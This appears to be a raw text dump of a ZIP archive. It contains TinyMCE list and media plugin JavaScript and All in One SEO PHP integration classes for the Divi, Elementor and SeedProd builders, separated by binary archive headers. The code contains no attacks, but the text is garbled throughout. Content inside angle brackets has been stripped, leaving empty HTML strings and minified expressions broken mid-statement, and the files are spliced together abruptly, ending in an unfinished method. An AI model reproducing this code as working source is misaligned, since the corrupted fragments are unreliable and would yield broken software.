'InsertOrderedList', onPostRender: listState(editor, 'OL') }); editor.addButton('bullist', { active: false, title: 'Bullet list', cmd: 'InsertUnorderedList', onPostRender: listState(editor, 'UL') }); } editor.addButton('indent', { icon: 'indent', title: 'Increase indent', cmd: 'Indent' }); }; var Buttons = { register: register$1 }; global.add('lists', function (editor) { Keyboard.setup(editor); Buttons.register(editor); Commands.register(editor); return Api.get(editor); }); function Plugin () { } return Plugin; }(window)); })(); PKá´–[»ýìKXiXilists/plugin.min.jsnu„[µü¤!function(u){"use strict";var e,n,t,r,o,i,s,a,c,f=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),l=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),m=tinymce.util.Tools.resolve("tinymce.util.VK"),p=tinymce.util.Tools.resolve("tinymce.dom.BookmarkManager"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),g=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),h=function(e){return e&&"BR"===e.nodeName},y=function(e){return e&&3===e.nodeType},N=function(e){return e&&/^(OL|UL|DL)$/.test(e.nodeName)},S=function(e){return e&&/^(OL|UL)$/.test(e.nodeName)},C=function(e){return e&&/^(DT|DD)$/.test(e.nodeName)},O=function(e){return e&&/^(LI|DT|DD)$/.test(e.nodeName)},b=function(e){return e&&/^(TH|TD)$/.test(e.nodeName)},T=h,E=function(e,n){return n&&!!e.schema.getTextBlockElements()[n.nodeName]},L=function(e,n){return e&&e.nodeName in n},D=function(e,n){return!!h(n)&&!(!e.isBlock(n.nextSibling)||h(n.previousSibling))},w=function(e,n,t){var r=e.isEmpty(n);return!(t&&0=e.childNodes.length?t.data.length:0}:t.previousSibling&&y(t.previousSibling)?{container:t.previousSibling,offset:t.previousSibling.data.length}:t.nextSibling&&y(t.nextSibling)?{container:t.nextSibling,offset:0}:{container:e,offset:n}},x=function(e){var n=e.cloneRange(),t=A(e.startContainer,e.startOffset);n.setStart(t.container,t.offset);var r=A(e.endContainer,e.endOffset);return n.setEnd(r.container,r.offset),n},R=g.DOM,I=function(o){var i={},e=function(e){var n,t,r;t=o[e?"startContainer":"endContainer"],r=o[e?"startOffset":"endOffset"],1===t.nodeType&&(n=R.create("span",{"data-mce-type":"bookmark"}),t.hasChildNodes()?(r=Math.min(r,t.childNodes.length-1),e?t.insertBefore(n,t.childNodes[r]):R.insertAfter(n,t.childNodes[r])):t.appendChild(n),t=n,r=0),i[e?"startContainer":"endContainer"]=t,i[e?"startOffset":"endOffset"]=r};return e(!0),o.collapsed||e(),i},_=function(o){function e(e){var n,t,r;n=r=o[e?"startContainer":"endContainer"],t=o[e?"startOffset":"endOffset"],n&&(1===n.nodeType&&(t=function(e){for(var n=e.parentNode.firstChild,t=0;n;){if(n===e)return t;1===n.nodeType&&"bookmark"===n.getAttribute("data-mce-type")||t++,n=n.nextSibling}return-1}(n),n=n.parentNode,R.remove(r),!n.hasChildNodes()&&R.isBlock(n)&&n.appendChild(R.create("br"))),o[e?"startContainer":"endContainer"]=n,o[e?"startOffset":"endOffset"]=t)}e(!0),e();var n=R.createRng();return n.setStart(o.startContainer,o.startOffset),o.endContainer&&n.setEnd(o.endContainer,o.endOffset),x(n)},B=function(){},P=function(e){return function(){return e}},M=function(t){return function(){for(var e=[],n=0;ne.length?Sn(t,e,n):Nn(t,e,n)},[]),oe(o).map(function(e){return e.list})).toArray();var t,r,o},Pn=function(e){var n,t,r=J(ve.getSelectedListItems(e),ye.fromDom);return Ne(te(r,M(On)),te((n=r,(t=Y.call(n,0)).reverse(),t),M(On)),function(e,n){return{start:e,end:n}})},Mn=function(s,e,a){var n,t,r,o=(n=e,t=Pn(s),r=kn(!1),J(n,function(e){return{sourceList:e,entries:xn(0,t,r,e)}}));Z(o,function(e){var n,t,r,o,i,u;n=e.entries,t=a,Z(ee(n,Tn),function(e){return function(e,n){switch(e){case"Indent":n.depth++;break;case"Outdent":n.depth--;break;case"Flatten":n.depth=0}}(t,e)}),r=e.sourceList,i=s,u=e.entries,o=re(function(e,n){if(0===e.length)return[];for(var t=n(e[0]),r=[],o=[],i=0,u=e.length;i 0) { return global$2.extend({}, pattern[0], { url: getUrl(pattern[0], url) }); } else { return null; } }; var getIframeHtml = function (data) { var allowFullscreen = data.allowFullscreen ? ' allowFullscreen="1"' : ''; return ''; }; var getFlashHtml = function (data) { var html = ''; if (data.poster) { html += ''; } html += ''; return html; }; var getAudioHtml = function (data, audioTemplateCallback) { if (audioTemplateCallback) { return audioTemplateCallback(data); } else { return ''; } }; var getVideoHtml = function (data, videoTemplateCallback) { if (videoTemplateCallback) { return videoTemplateCallback(data); } else { return ''; } }; var getScriptHtml = function (data) { return ''; }; var dataToHtml = function (editor, dataIn) { var data = global$2.extend({}, dataIn); if (!data.source1) { global$2.extend(data, HtmlToData.htmlToData(Settings.getScripts(editor), data.embed)); if (!data.source1) { return ''; } } if (!data.source2) { data.source2 = ''; } if (!data.poster) { data.poster = ''; } data.source1 = editor.convertURL(data.source1, 'source'); data.source2 = editor.convertURL(data.source2, 'source'); data.source1mime = Mime.guess(data.source1); data.source2mime = Mime.guess(data.source2); data.poster = editor.convertURL(data.poster, 'poster'); var pattern = matchPattern(data.source1); if (pattern) { data.source1 = pattern.url; data.type = pattern.type; data.allowFullscreen = pattern.allowFullscreen; data.width = data.width || pattern.w; data.height = data.height || pattern.h; } if (data.embed) { return UpdateHtml.updateHtml(data.embed, data, true); } else { var videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), data.source1); if (videoScript) { data.type = 'script'; data.width = videoScript.width; data.height = videoScript.height; } var audioTemplateCallback = Settings.getAudioTemplateCallback(editor); var videoTemplateCallback = Settings.getVideoTemplateCallback(editor); data.width = data.width || 300; data.height = data.height || 150; global$2.each(data, function (value, key) { data[key] = editor.dom.encode(value); }); if (data.type === 'iframe') { return getIframeHtml(data); } else if (data.source1mime === 'application/x-shockwave-flash') { return getFlashHtml(data); } else if (data.source1mime.indexOf('audio') !== -1) { return getAudioHtml(data, audioTemplateCallback); } else if (data.type === 'script') { return getScriptHtml(data); } else { return getVideoHtml(data, videoTemplateCallback); } } }; var DataToHtml = { dataToHtml: dataToHtml }; var cache = {}; var embedPromise = function (data, dataToHtml, handler) { return new global$5(function (res, rej) { var wrappedResolve = function (response) { if (response.html) { cache[data.source1] = response; } return res({ url: data.source1, html: response.html ? response.html : dataToHtml(data) }); }; if (cache[data.source1]) { wrappedResolve(cache[data.source1]); } else { handler({ url: data.source1 }, wrappedResolve, rej); } }); }; var defaultPromise = function (data, dataToHtml) { return new global$5(function (res) { res({ html: dataToHtml(data), url: data.source1 }); }); }; var loadedData = function (editor) { return function (data) { return DataToHtml.dataToHtml(editor, data); }; }; var getEmbedHtml = function (editor, data) { var embedHandler = Settings.getUrlResolver(editor); return embedHandler ? embedPromise(data, loadedData(editor), embedHandler) : defaultPromise(data, loadedData(editor)); }; var isCached = function (url) { return cache.hasOwnProperty(url); }; var Service = { getEmbedHtml: getEmbedHtml, isCached: isCached }; var trimPx$1 = function (value) { return value.replace(/px$/, ''); }; var addPx$1 = function (value) { return /^[0-9.]+$/.test(value) ? value + 'px' : value; }; var getSize = function (name) { return function (elm) { return elm ? trimPx$1(elm.style[name]) : ''; }; }; var setSize = function (name) { return function (elm, value) { if (elm) { elm.style[name] = addPx$1(value); } }; }; var Size = { getMaxWidth: getSize('maxWidth'), getMaxHeight: getSize('maxHeight'), setMaxWidth: setSize('maxWidth'), setMaxHeight: setSize('maxHeight') }; var doSyncSize = function (widthCtrl, heightCtrl) { widthCtrl.state.set('oldVal', widthCtrl.value()); heightCtrl.state.set('oldVal', heightCtrl.value()); }; var doSizeControls = function (win, f) { var widthCtrl = win.find('#width')[0]; var heightCtrl = win.find('#height')[0]; var constrained = win.find('#constrain')[0]; if (widthCtrl && heightCtrl && constrained) { f(widthCtrl, heightCtrl, constrained.checked()); } }; var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) { var oldWidth = widthCtrl.state.get('oldVal'); var oldHeight = heightCtrl.state.get('oldVal'); var newWidth = widthCtrl.value(); var newHeight = heightCtrl.value(); if (isContrained && oldWidth && oldHeight && newWidth && newHeight) { if (newWidth !== oldWidth) { newHeight = Math.round(newWidth / oldWidth * newHeight); if (!isNaN(newHeight)) { heightCtrl.value(newHeight); } } else { newWidth = Math.round(newHeight / oldHeight * newWidth); if (!isNaN(newWidth)) { widthCtrl.value(newWidth); } } } doSyncSize(widthCtrl, heightCtrl); }; var syncSize = function (win) { doSizeControls(win, doSyncSize); }; var updateSize = function (win) { doSizeControls(win, doUpdateSize); }; var createUi = function (onChange) { var recalcSize = function () { onChange(function (win) { updateSize(win); }); }; return { type: 'container', label: 'Dimensions', layout: 'flex', align: 'center', spacing: 5, items: [ { name: 'width', type: 'textbox', maxLength: 5, size: 5, onchange: recalcSize, ariaLabel: 'Width' }, { type: 'label', text: 'x' }, { name: 'height', type: 'textbox', maxLength: 5, size: 5, onchange: recalcSize, ariaLabel: 'Height' }, { name: 'constrain', type: 'checkbox', checked: true, text: 'Constrain proportions' } ] }; }; var SizeManager = { createUi: createUi, syncSize: syncSize, updateSize: updateSize }; var embedChange = global$1.ie && global$1.ie <= 8 ? 'onChange' : 'onInput'; var handleError = function (editor) { return function (error) { var errorMessage = error && error.msg ? 'Media embed handler error: ' + error.msg : 'Media embed handler threw unknown error.'; editor.notificationManager.open({ type: 'error', text: errorMessage }); }; }; var getData = function (editor) { var element = editor.selection.getNode(); var dataEmbed = element.getAttribute('data-ephox-embed-iri'); if (dataEmbed) { return { 'source1': dataEmbed, 'data-ephox-embed-iri': dataEmbed, 'width': Size.getMaxWidth(element), 'height': Size.getMaxHeight(element) }; } return element.getAttribute('data-mce-object') ? HtmlToData.htmlToData(Settings.getScripts(editor), editor.serializer.serialize(element, { selection: true })) : {}; }; var getSource = function (editor) { var elm = editor.selection.getNode(); if (elm.getAttribute('data-mce-object') || elm.getAttribute('data-ephox-embed-iri')) { return editor.selection.getContent(); } }; var addEmbedHtml = function (win, editor) { return function (response) { var html = response.html; var embed = win.find('#embed')[0]; var data = global$2.extend(HtmlToData.htmlToData(Settings.getScripts(editor), html), { source1: response.url }); win.fromJSON(data); if (embed) { embed.value(html); SizeManager.updateSize(win); } }; }; var selectPlaceholder = function (editor, beforeObjects) { var i; var y; var afterObjects = editor.dom.select('img[data-mce-object]'); for (i = 0; i < beforeObjects.length; i++) { for (y = afterObjects.length - 1; y >= 0; y--) { if (beforeObjects[i] === afterObjects[y]) { afterObjects.splice(y, 1); } } } editor.selection.select(afterObjects[0]); }; var handleInsert = function (editor, html) { var beforeObjects = editor.dom.select('img[data-mce-object]'); editor.insertContent(html); selectPlaceholder(editor, beforeObjects); editor.nodeChanged(); }; var submitForm = function (win, editor) { var data = win.toJSON(); data.embed = UpdateHtml.updateHtml(data.embed, data); if (data.embed && Service.isCached(data.source1)) { handleInsert(editor, data.embed); } else { Service.getEmbedHtml(editor, data).then(function (response) { handleInsert(editor, response.html); }).catch(handleError(editor)); } }; var populateMeta = function (win, meta) { global$2.each(meta, function (value, key) { win.find('#' + key).value(value); }); }; var showDialog = function (editor) { var win; var data; var generalFormItems = [{ name: 'source1', type: 'filepicker', filetype: 'media', size: 40, autofocus: true, label: 'Source', onpaste: function () { setTimeout(function () { Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor)); }, 1); }, onchange: function (e) { Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor)); populateMeta(win, e.meta); }, onbeforecall: function (e) { e.meta = win.toJSON(); } }]; var advancedFormItems = []; var reserialise = function (update) { update(win); data = win.toJSON(); win.find('#embed').value(UpdateHtml.updateHtml(data.embed, data)); }; if (Settings.hasAltSource(editor)) { advancedFormItems.push({ name: 'source2', type: 'filepicker', filetype: 'media', size: 40, label: 'Alternative source' }); } if (Settings.hasPoster(editor)) { advancedFormItems.push({ name: 'poster', type: 'filepicker', filetype: 'image', size: 40, label: 'Poster' }); } if (Settings.hasDimensions(editor)) { var control = SizeManager.createUi(reserialise); generalFormItems.push(control); } data = getData(editor); var embedTextBox = { id: 'mcemediasource', type: 'textbox', flex: 1, name: 'embed', value: getSource(editor), multiline: true, rows: 5, label: 'Source' }; var updateValueOnChange = function () { data = global$2.extend({}, HtmlToData.htmlToData(Settings.getScripts(editor), this.value())); this.parent().parent().fromJSON(data); }; embedTextBox[embedChange] = updateValueOnChange; var body = [ { title: 'General', type: 'form', items: generalFormItems }, { title: 'Embed', type: 'container', layout: 'flex', direction: 'column', align: 'stretch', padding: 10, spacing: 10, items: [ { type: 'label', text: 'Paste your embed code below:', forId: 'mcemediasource' }, embedTextBox ] } ]; if (advancedFormItems.length > 0) { body.push({ title: 'Advanced', type: 'form', items: advancedFormItems }); } win = editor.windowManager.open({ title: 'Insert/edit media', data: data, bodyType: 'tabpanel', body: body, onSubmit: function () { SizeManager.updateSize(win); submitForm(win, editor); } }); SizeManager.syncSize(win); }; var Dialog = { showDialog: showDialog }; var get$1 = function (editor) { var showDialog = function () { Dialog.showDialog(editor); }; return { showDialog: showDialog }; }; var Api = { get: get$1 }; var register = function (editor) { var showDialog = function () { Dialog.showDialog(editor); }; editor.addCommand('mceMedia', showDialog); }; var Commands = { register: register }; var global$8 = tinymce.util.Tools.resolve('tinymce.html.Node'); var sanitize = function (editor, html) { if (Settings.shouldFilterHtml(editor) === false) { return html; } var writer = global$7(); var blocked; global$4({ validate: false, allow_conditional_comments: false, special: 'script,noscript', comment: function (text) { writer.comment(text); }, cdata: function (text) { writer.cdata(text); }, text: function (text, raw) { writer.text(text, raw); }, start: function (name, attrs, empty) { blocked = true; if (name === 'script' || name === 'noscript' || name === 'svg') { return; } for (var i = attrs.length - 1; i >= 0; i--) { var attrName = attrs[i].name; if (attrName.indexOf('on') === 0) { delete attrs.map[attrName]; attrs.splice(i, 1); } if (attrName === 'style') { attrs[i].value = editor.dom.serializeStyle(editor.dom.parseStyle(attrs[i].value), name); } } writer.start(name, attrs, empty); blocked = false; }, end: function (name) { if (blocked) { return; } writer.end(name); } }, global$6({})).parse(html); return writer.getContent(); }; var Sanitize = { sanitize: sanitize }; var createPlaceholderNode = function (editor, node) { var placeHolder; var name = node.name; placeHolder = new global$8('img', 1); placeHolder.shortEnded = true; retainAttributesAndInnerHtml(editor, node, placeHolder); placeHolder.attr({ 'width': node.attr('width') || '300', 'height': node.attr('height') || (name === 'audio' ? '30' : '150'), 'style': node.attr('style'), 'src': global$1.transparentSrc, 'data-mce-object': name, 'class': 'mce-object mce-object-' + name }); return placeHolder; }; var createPreviewIframeNode = function (editor, node) { var previewWrapper; var previewNode; var shimNode; var name = node.name; previewWrapper = new global$8('span', 1); previewWrapper.attr({ 'contentEditable': 'false', 'style': node.attr('style'), 'data-mce-object': name, 'class': 'mce-preview-object mce-object-' + name }); retainAttributesAndInnerHtml(editor, node, previewWrapper); previewNode = new global$8(name, 1); previewNode.attr({ src: node.attr('src'), allowfullscreen: node.attr('allowfullscreen'), style: node.attr('style'), class: node.attr('class'), width: node.attr('width'), height: node.attr('height'), frameborder: '0' }); shimNode = new global$8('span', 1); shimNode.attr('class', 'mce-shim'); previewWrapper.append(previewNode); previewWrapper.append(shimNode); return previewWrapper; }; var retainAttributesAndInnerHtml = function (editor, sourceNode, targetNode) { var attrName; var attrValue; var attribs; var ai; var innerHtml; attribs = sourceNode.attributes; ai = attribs.length; while (ai--) { attrName = attribs[ai].name; attrValue = attribs[ai].value; if (attrName !== 'width' && attrName !== 'height' && attrName !== 'style') { if (attrName === 'data' || attrName === 'src') { attrValue = editor.convertURL(attrValue, attrName); } targetNode.attr('data-mce-p-' + attrName, attrValue); } } innerHtml = sourceNode.firstChild && sourceNode.firstChild.value; if (innerHtml) { targetNode.attr('data-mce-html', escape(Sanitize.sanitize(editor, innerHtml))); targetNode.firstChild = null; } }; var isWithinEphoxEmbed = function (node) { while (node = node.parent) { if (node.attr('data-ephox-embed-iri')) { return true; } } return false; }; var placeHolderConverter = function (editor) { return function (nodes) { var i = nodes.length; var node; var videoScript; while (i--) { node = nodes[i]; if (!node.parent) { continue; } if (node.parent.attr('data-mce-object')) { continue; } if (node.name === 'script') { videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), node.attr('src')); if (!videoScript) { continue; } } if (videoScript) { if (videoScript.width) { node.attr('width', videoScript.width.toString()); } if (videoScript.height) { node.attr('height', videoScript.height.toString()); } } if (node.name === 'iframe' && Settings.hasLiveEmbeds(editor) && global$1.ceFalse) { if (!isWithinEphoxEmbed(node)) { node.replace(createPreviewIframeNode(editor, node)); } } else { if (!isWithinEphoxEmbed(node)) { node.replace(createPlaceholderNode(editor, node)); } } } }; }; var Nodes = { createPreviewIframeNode: createPreviewIframeNode, createPlaceholderNode: createPlaceholderNode, placeHolderConverter: placeHolderConverter }; var setup = function (editor) { editor.on('preInit', function () { var specialElements = editor.schema.getSpecialElements(); global$2.each('video audio iframe object'.split(' '), function (name) { specialElements[name] = new RegExp(']*>', 'gi'); }); var boolAttrs = editor.schema.getBoolAttrs(); global$2.each('webkitallowfullscreen mozallowfullscreen allowfullscreen'.split(' '), function (name) { boolAttrs[name] = {}; }); editor.parser.addNodeFilter('iframe,video,audio,object,embed,script', Nodes.placeHolderConverter(editor)); editor.serializer.addAttributeFilter('data-mce-object', function (nodes, name) { var i = nodes.length; var node; var realElm; var ai; var attribs; var innerHtml; var innerNode; var realElmName; var className; while (i--) { node = nodes[i]; if (!node.parent) { continue; } realElmName = node.attr(name); realElm = new global$8(realElmName, 1); if (realElmName !== 'audio' && realElmName !== 'script') { className = node.attr('class'); if (className && className.indexOf('mce-preview-object') !== -1) { realElm.attr({ width: node.firstChild.attr('width'), height: node.firstChild.attr('height') }); } else { realElm.attr({ width: node.attr('width'), height: node.attr('height') }); } } realElm.attr({ style: node.attr('style') }); attribs = node.attributes; ai = attribs.length; while (ai--) { var attrName = attribs[ai].name; if (attrName.indexOf('data-mce-p-') === 0) { realElm.attr(attrName.substr(11), attribs[ai].value); } } if (realElmName === 'script') { realElm.attr('type', 'text/javascript'); } innerHtml = node.attr('data-mce-html'); if (innerHtml) { innerNode = new global$8('#text', 3); innerNode.raw = true; innerNode.value = Sanitize.sanitize(editor, unescape(innerHtml)); realElm.append(innerNode); } node.replace(realElm); } }); }); editor.on('setContent', function () { editor.$('span.mce-preview-object').each(function (index, elm) { var $elm = editor.$(elm); if ($elm.find('span.mce-shim', elm).length === 0) { $elm.append(''); } }); }); }; var FilterContent = { setup: setup }; var setup$1 = function (editor) { editor.on('ResolveName', function (e) { var name; if (e.target.nodeType === 1 && (name = e.target.getAttribute('data-mce-object'))) { e.name = name; } }); }; var ResolveName = { setup: setup$1 }; var setup$2 = function (editor) { editor.on('click keyup', function () { var selectedNode = editor.selection.getNode(); if (selectedNode && editor.dom.hasClass(selectedNode, 'mce-preview-object')) { if (editor.dom.getAttrib(selectedNode, 'data-mce-selected')) { selectedNode.setAttribute('data-mce-selected', '2'); } } }); editor.on('ObjectSelected', function (e) { var objectType = e.target.getAttribute('data-mce-object'); if (objectType === 'audio' || objectType === 'script') { e.preventDefault(); } }); editor.on('objectResized', function (e) { var target = e.target; var html; if (target.getAttribute('data-mce-object')) { html = target.getAttribute('data-mce-html'); if (html) { html = unescape(html); target.setAttribute('data-mce-html', escape(UpdateHtml.updateHtml(html, { width: e.width, height: e.height }))); } } }); }; var Selection = { setup: setup$2 }; var register$1 = function (editor) { editor.addButton('media', { tooltip: 'Insert/edit media', cmd: 'mceMedia', stateSelector: [ 'img[data-mce-object]', 'span[data-mce-object]', 'div[data-ephox-embed-iri]' ] }); editor.addMenuItem('media', { icon: 'media', text: 'Media', cmd: 'mceMedia', context: 'insert', prependToContext: true }); }; var Buttons = { register: register$1 }; global.add('media', function (editor) { Commands.register(editor); Buttons.register(editor); ResolveName.setup(editor); FilterContent.setup(editor); Selection.setup(editor); return Api.get(editor); }); function Plugin () { } return Plugin; }()); })(); PKá´–[®Á À@À@media/plugin.min.jsnu„[µü¤!function(){"use strict";var e,t,r,n,i=tinymce.util.Tools.resolve("tinymce.PluginManager"),o=tinymce.util.Tools.resolve("tinymce.Env"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),w=function(e){return e.getParam("media_scripts")},b=function(e){return e.getParam("audio_template_callback")},y=function(e){return e.getParam("video_template_callback")},a=function(e){return e.getParam("media_live_embeds",!0)},u=function(e){return e.getParam("media_filter_html",!0)},s=function(e){return e.getParam("media_url_resolver")},m=function(e){return e.getParam("media_alt_source",!0)},d=function(e){return e.getParam("media_poster",!0)},h=function(e){return e.getParam("media_dimensions",!0)},f=function(e){var t=e,r=function(){return t};return{get:r,set:function(e){t=e},clone:function(){return f(r())}}},c=function(){},l=function(e){return function(){return e}},p=l(!1),g=l(!0),x=function(){return O},O=(e=function(e){return e.isNone()},n={fold:function(e,t){return e()},is:p,isSome:p,isNone:g,getOr:r=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:l(null),getOrUndefined:l(undefined),or:r,orThunk:t,map:x,each:c,bind:x,exists:p,forall:g,filter:x,equals:e,equals_:e,toArray:function(){return[]},toString:l("none()")},Object.freeze&&Object.freeze(n),n),j=function(r){var e=l(r),t=function(){return i},n=function(e){return e(r)},i={fold:function(e,t){return t(r)},is:function(e){return r===e},isSome:g,isNone:p,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(e){return j(e(r))},each:function(e){e(r)},bind:n,exists:n,forall:n,filter:function(e){return e(r)?i:O},toArray:function(){return[r]},toString:function(){return"some("+r+")"},equals:function(e){return e.is(r)},equals_:function(e,t){return e.fold(p,function(e){return t(r,e)})}};return i},_=x,S=function(e){return null===e||e===undefined?O:j(e)},k=Object.hasOwnProperty,N=function(e,t){return M(e,t)?S(e[t]):_()},M=function(e,t){return k.call(e,t)},T=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),z=tinymce.util.Tools.resolve("tinymce.html.SaxParser"),A=function(e,t){if(e)for(var r=0;r"):"application/x-shockwave-flash"===n.source1mime?(d='',m.poster&&(d+=''),d+=""):-1!==n.source1mime.indexOf("audio")?(s=n,(l=p)?l(s):'"):"script"===n.type?'
'; echo '
'; echo '
'; echo '
'; } /** * Returns whether or not the given Post ID was built with Divi. * * @since 4.1.7 * * @param int $postId The Post ID. * @return boolean Whether or not the Post was built with Divi. */ public function isBuiltWith( $postId ) { if ( ! function_exists( 'et_pb_is_pagebuilder_used' ) ) { return false; } return et_pb_is_pagebuilder_used( $postId ); } /** * Returns the Divi edit url for the given Post ID. * * @since 4.3.1 * * @param int $postId The Post ID. * @return string The Edit URL. */ public function getEditUrl( $postId ) { if ( ! function_exists( 'et_fb_get_vb_url' ) ) { return ''; } $isDiviLibrary = 'et_pb_layout' === get_post_type( $postId ); $editUrl = $isDiviLibrary ? get_edit_post_link( $postId, 'raw' ) : get_permalink( $postId ); if ( et_pb_is_pagebuilder_used( $postId ) ) { $editUrl = et_fb_get_vb_url( $editUrl ); } else { if ( ! et_pb_is_allowed( 'divi_builder_control' ) ) { // Prevent link when user lacks `Toggle Divi Builder` capability. return ''; } $editUrl = add_query_arg( [ 'et_fb_activation_nonce' => wp_create_nonce( 'et_fb_activation_nonce_' . $postId ) ], $editUrl ); } return $editUrl; } /** * Checks whether or not we should prevent the date from being modified. * * @since 4.5.2 * * @param int $postId The Post ID. * @return bool Whether or not we should prevent the date from being modified. */ public function limitModifiedDate( $postId ) { // This method is supposed to be used in the `wp_ajax_et_fb_ajax_save` action. if ( empty( $_REQUEST['et_fb_save_nonce'] ) || ! wp_verify_nonce( wp_unslash( $_REQUEST['et_fb_save_nonce'] ), 'et_fb_save_nonce' ) ) { return false; } $editorPostId = ! empty( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0; if ( $editorPostId !== $postId ) { return false; } return ! empty( $_REQUEST['options']['conditional_tags']['aioseo_limit_modified_date'] ); } }PKÉ—[—üyyDall-in-one-seo-pack/app/Common/Standalone/PageBuilders/Elementor.phpnu„[µü¤postSettings->canAddPostSettingsMetabox( get_post_type( $this->getPostId() ) ) ) { return; } if ( ! did_action( 'elementor/init' ) ) { add_action( 'elementor/init', [ $this, 'addPanelTab' ] ); } else { $this->addPanelTab(); } add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'enqueue' ] ); add_action( 'elementor/documents/register_controls', [ $this, 'registerDocumentControls' ] ); add_action( 'elementor/editor/footer', [ $this, 'addContainers' ] ); // Add the SEO tab to the main Elementor panel. add_action( 'elementor/editor/footer', [ $this, 'startCapturing' ], 0 ); add_action( 'elementor/editor/footer', [ $this, 'endCapturing' ], 999 ); } /** * Start capturing buffer. * * @since 4.3.5 * * @return void */ public function startCapturing() { ob_start(); } /** * End capturing buffer and add button. * This is a hack to add the SEO tab to the main Elementor panel. * We need to do this because Elementor doesn't provide a filter to add tabs to the main panel. * * @since 4.3.5 * * @return void */ public function endCapturing() { $output = ob_get_clean(); $search = '/(
.*<\/div>)/m'; $replace = '${1}
SEO
'; echo preg_replace( $search, $replace, $output ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Add the AIOSEO Panel Tab on Elementor. * * @since 4.1.7 * * @return void */ public function addPanelTab() { ControlsManager::add_tab( 'aioseo', AIOSEO_PLUGIN_SHORT_NAME ); } /** * Register the Elementor Document Controls. * * @since 4.1.7 * * @return void */ public function registerDocumentControls( $document ) { // PageBase is the base class for documents like `post` `page` and etc. if ( ! $document instanceof PageBase || ! $document::get_property( 'has_elements' ) ) { return; } // This is needed to get the tab to appear, but will be overwritten in the JavaScript. $document->start_controls_section( 'aioseo_section', [ 'label' => AIOSEO_PLUGIN_SHORT_NAME, 'tab' => 'aioseo', ] ); $document->end_controls_section(); } /** * Returns whether or not the given Post ID was built with Elementor. * * @since 4.1.7 * * @param int $postId The Post ID. * @return boolean Whether or not the Post was built with Elementor. */ public function isBuiltWith( $postId ) { $document = $this->getElementorDocument( $postId ); if ( ! $document ) { return false; } return $document->is_built_with_elementor(); } /** * Returns the Elementor edit url for the given Post ID. * * @since 4.3.1 * * @param int $postId The Post ID. * @return string The Edit URL. */ public function getEditUrl( $postId ) { $document = $this->getElementorDocument( $postId ); if ( ! $document || ! $document->is_editable_by_current_user() ) { return ''; } return esc_url( $document->get_edit_url() ); } /** * Add the containers to mount our panel. * * @since 4.1.9 * * @return void */ public function addContainers() { echo '
'; } /** * Returns the Elementor Document instance for the given Post ID. * * @since 4.3.5 * * @param int $postId The Post ID. * @return object The Elementor Document instance. */ private function getElementorDocument( $postId ) { if ( ! class_exists( '\Elementor\Plugin' ) || ! is_object( \Elementor\Plugin::instance()->documents ) || ! method_exists( \Elementor\Plugin::instance()->documents, 'get' ) ) { return false; } $elementorDocument = \Elementor\Plugin::instance()->documents->get( $postId ); if ( empty( $elementorDocument ) ) { return false; } return $elementorDocument; } /** * Checks whether or not we should prevent the date from being modified. * This method is supposed to be used in the `wp_ajax_seedprod_pro_save_lpage` action. * * @since 4.5.2 * * @param int $postId The Post ID. * @return bool Whether or not we should prevent the date from being modified. */ public function limitModifiedDate( $postId ) { // This method is supposed to be used in the `wp_ajax_elementor_ajax` action. if ( empty( $_REQUEST['_nonce'] ) || ! wp_verify_nonce( $_REQUEST['_nonce'], 'elementor_ajax' ) ) { return false; } $editorPostId = ! empty( $_REQUEST['editor_post_id'] ) ? (int) $_REQUEST['editor_post_id'] : false; if ( $editorPostId !== $postId ) { return false; } return ! empty( $_REQUEST['aioseo_limit_modified_date'] ); } }PKÉ—[€–‡¢LLCall-in-one-seo-pack/app/Common/Standalone/PageBuilders/SeedProd.phpnu„[µü¤getPostId() ); if ( ! aioseo()->postSettings->canAddPostSettingsMetabox( $postType ) ) { return; } // SeedProd de-enqueues and de-register scripts/styles on priority PHP_INT_MAX. // Thus, we need to enqueue our scripts at the same priority for more compatibility. add_action( 'admin_enqueue_scripts', [ $this, 'enqueue' ], PHP_INT_MAX ); add_filter( 'style_loader_tag', [ $this, 'replaceStyleTag' ], 10, 2 ); } /** * Enqueue the scripts and styles. * * @since 4.1.7 * * @return void */ public function enqueue() { if ( ! $this->isBuilderScreen() ) { return; } parent::enqueue(); } /** * Check whether or not is builder screen. * * @since 4.1.7 * * @return boolean Whether or not is builder screen. */ public function isBuilderScreen() { $currentScreen = aioseo()->helpers->getCurrentScreen(); return $currentScreen && preg_match( '/seedprod.*?_builder$/i', $currentScreen->base ); } /** * Replace original tag to prevent being removed by SeedProd. * * @param string $tag The tag for the enqueued style. * @param string $handle The style's registered handle. * @return string The tag. */ public function replaceStyleTag( $tag, $handle = '' ) { if ( ! $this->isBuilderScreen() ) { return $tag; } $aioseoCommonHandle = 'aioseo-' . $this->integrationSlug . '-common'; if ( $aioseoCommonHandle === $handle ) { // All the *common.css links are removed from SeedProd. // https://github.com/awesomemotive/seedprod-plugins/blob/32854442979bfa068aadf9b8a8a929e5f9f353e5/seedprod-pro/resources/views/builder.php#L406 $tag = str_ireplace( 'href=', 'data-href=', $tag ); } return $tag; } /** * Returns whether or not the given Post ID was built with SeedProd. * * @since 4.1.7 * * @param int $postId The Post ID. * @return boolean Whether or not the Post was built with SeedProd. */ public function isBuiltWith( $postId ) { $isSeedProd = get_post_meta( $postId, '_seedprod_page', true ); if ( ! empty( $isSeedProd ) ) { return true; } return false; } /** * Checks whether or not we should prevent the date from being modified. * * @since 4.5.2 * * @param int $postId The Post ID. * @return bool Whether or not we should prevent the date from being modified. */ public function 